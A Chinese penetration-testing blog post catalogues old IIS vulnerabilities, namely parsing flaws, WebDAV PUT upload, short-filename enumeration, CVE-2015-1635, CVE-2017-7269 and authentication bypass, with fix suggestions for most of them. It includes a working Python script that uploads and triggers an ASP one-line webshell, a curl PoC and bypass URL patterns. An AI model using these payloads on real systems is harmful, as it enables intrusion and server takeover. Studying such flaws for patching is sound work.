AqYoung

分享渗透知识与技巧

0%

中间件漏洞之IIS(记录)

中间件IIS常见漏洞记录

中间件和IIS简介:

中间件

中间件是一类连接软件组件和应用的计算机软件,它包括一组服务。以便于运行在一台或多台机器上的多个软件通过网络进行交互。

IIS

是互联网信息服务,是由微软公司提供的基于运行Microsoft Windows的互联网基本服务。

IIS是一种Web(网页)服务组件,其中包括Web服务器、FTP服务器、NNTP服务器和SMTP服务器,分别用于网页浏览、文件传输、新闻服务和邮件发送等方面,它使得在网络(包括互联网和局域网)上发布信息成了一件很容易的事。

IIS常见漏洞整理:

解析漏洞

IIS 6.x

1、默认会将 *.asp;.jpg 此种格式的文件名,当成Asp解析

2、默认会将 *.asp/目录下的所有文件当成Asp解析

3、将扩展名为.asa,.cdx,.cer解析为asp

修复建议:

1、设置上传目录的执行权限,不允许执行脚本。

2、对上传的文件进行随机重命名,并且去除文件名回显。

IIS 7.x

安装IIS7.5

1、安装应用程序开发功能

2、下载php-5.2.10-win32-installer.msi

-> 安装:一直下一步直到web server setup,选择选择IIS fastcgi

3、编辑:ISAPI或者CGI限制

->添加

4、编辑:处理程序映射

->添加

5、测试phpinfo

利用:

1、Fast-CGI运行模式下,在任意文件。

例:test.jpg后面加上/.php,会将test.jpg 解析为php文件

修复建议:

1、修改php.ini

; cgi.fix_pathinfo=0
//修改之前为:; cgi.fix_pathinfo=1

PUT任意文件写入

1、影响版本:6.x

开启WebDAV和写权限

2、EXP

#!/usr/bin/env python
# -*- coding:utf-8 -*-
#需要运行两次,第一次上传shell.txt。第二次用move方法。
import requests

# 分别需要put,move的url(在这里修改url)
put_url = 'http://192.168.1.133/shell.txt'
move_url = 'http://192.168.1.133/shell.txt'
move_headers = {
    'Destination': 'http://192.168.1.133/shell.asp'
}
# put的脚本(这里修改password)
put_data = '<%execute(request("passwd"))%>'
post_data = {
    'apple': ''
}
try:
    response = requests.request('PUT', url=put_url, data=put_data)
    if response.status_code == 200:
        response = requests.request('MOVE', url=move_url, headers=move_headers)
        if response.status_code == 207:
            response = requests.post(url='http://192.168.1.133/shell.asp', data=post_data)
            print(response.content.decode("gb2312"))
        else:
            print(response.status_code)
except:
    pass

https://www.codercto.com/a/48257.html

修复建议:

关闭WebDAV 和 写权限

短文件漏洞

1、影响条件:NTFS 8.3支持开启

原理:在cmd中输入 dir\x 查看短文件名,可以看到存在的文件返回404,不存在返回400

2、EXP:https://github.com/lijiejie/IIS_shortname_Scanner

3、参考:
https://www.freebuf.com/news/197144.html

修复建议:

#1、关闭NTFS 8.3支持(1关闭,0开启)
fsutil behavior set disable8dot3 1
#2、修改注册表regedit
找到路径HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem,修改NtfsDisable8dot3NameCreation为1
#重启系统生效

HTTP.sys远程代码执行(CVE-2015-1635)

1、影响范围:
Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2

2、POC:

curl http://192.168.1.144 -H "Host: 192.168.1.144" -H "Range: bytes=0-18446744073709551615"

2、MSF_POC:

https://www.cvedetails.com/cve/CVE-2015-1635/

3、参考:

https://www.freebuf.com/vuls/64195.html

远程代码执行(CVE-2017-7269)

1、影响范围:

在Windows 2003 R2, Enterprise Edition Service Pack 2)上使用IIS 6.0并开启WebDAV扩展。

2、EXP:

https://github.com/zcgonvh/cve-2017-7269(msf自带的只能适用于默认物理路径)

在载入完上面的exp后,值得注意的是physicalpathlength的值

例如:我的物理路径为C:\Inetpub\wwwroot\aspcms(需要加上\)长度就为26

3、参考:
http://www.admintony.com/CVE-2017-7269.html

其他

CGI环境块伪造

1、影响版本:IIS4、IIS5 &&winnt、Win2000

2、参考:https://www.freebuf.com/vuls/31444.html

认证绕过

1、影响版本:IIS6.0、IIS7.5

2、漏洞详情:对用户输入未经正确验证,攻击者可利用漏洞构造特殊数据,在服务器进程上下文中获取密码保护资源和查看源代码文件的未授权访问

3、攻击手段:

IIS6.0:
将::$INDEX_ALLOCATION后缀添加到目录名称后,如/admin::$INDEX_ALLOCATION/index.php

IIS7.5:
将:$i30:$INDEX_ALLOCATION后缀添加到目录名称后,如/admin:$i30:$INDEX_ALLOCATION/index.asp

FTPd服务MLST命令栈缓冲区溢出漏洞

1、MSF_POC

  • MS09-053/CVE-2009-3023

拒绝服务漏洞

  • CVE-2019-0941

  • CVE-2019-9512

  • 等等……

尾巴:

在收集完IIS的漏洞之后,感觉都很简单,但是发现实际复现的时候还是遇到了一些状况特别是CVE-2017-7269,在复现的过程中就因为系统的版本、以及EXP本身的问题,这个漏洞有很多EXP但是,并不是每个版本都可以利用成功,有一些细微差别。总体,虽然都是一些比较旧的漏洞,也很难遇到,但是还是有一些收获。


声明:

  • 笔者初衷用于分享与交流网络知识,若读者因此作出任何危害网络安全行为后果自负,与作者无关!

  • 本文属于@ayoung博客,未经许可禁止转载: